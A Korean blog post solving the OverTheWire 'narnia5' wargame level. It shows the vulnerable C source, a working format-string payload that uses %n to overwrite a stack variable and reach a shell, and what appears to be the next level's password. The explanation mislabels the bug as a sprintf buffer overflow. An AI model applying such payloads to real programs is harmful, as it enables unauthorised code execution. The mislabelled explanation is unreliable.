ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • narnia5
    OverTheWire 2015. 9. 24. 03:09

    #include <stdio.h>

    #include <stdlib.h>

    #include <string.h>

     

    int main(int argc, char **argv){

    int i = 1;

    char buffer[64];


    snprintf(buffer, sizeof buffer, argv[1]);

    buffer[sizeof (buffer) - 1] = 0;

    printf("Change i's value from 1 -> 500. ");


    if(i==500){

    printf("GOOD\n");

    system("/bin/sh");

    }


    printf("No way...let me give you a hint!\n");

    printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));

    printf ("i = %d (%p)\n", i, &i);

    return 0;

    }


    snprintf에서 인자값을 받아주는데, sprintf에서 버퍼오버플로우 취약점이 터지게된다.


    i는 초기값이 1로 되어있는데 이를 500으로 바꿔주어야한다.


    format string을 하게되면 처음 i의 버퍼주소값을 준다.

    그럼 주소값을주니까 그것을 첫번째에 넣어주고 %08x만큼 AAAA가 언제 다시 또 튀어나오는지를 알아내서 거기에 %n을해주면된다.


    ./narnia5 $(printf "\xcc\xd6\xff\xff")%08x%08x%08x%472x%n


    최종페이로드는이렇다.


    500을 넣어주어야하는데 472를 넣어준건 전에 우리가입력해준글자수가 28바이트이기때문에 뒤에 더붙어서 472를 넣어주었다.



    neezocaeng






    'OverTheWire' 카테고리의 다른 글

    narnia 4  (0) 2015.09.21
    narnia 3  (0) 2015.09.21
    narnia2  (0) 2015.04.29
    narnia1  (0) 2015.04.29
    narnia0  (0) 2015.04.29

    댓글

Designed by Tistory.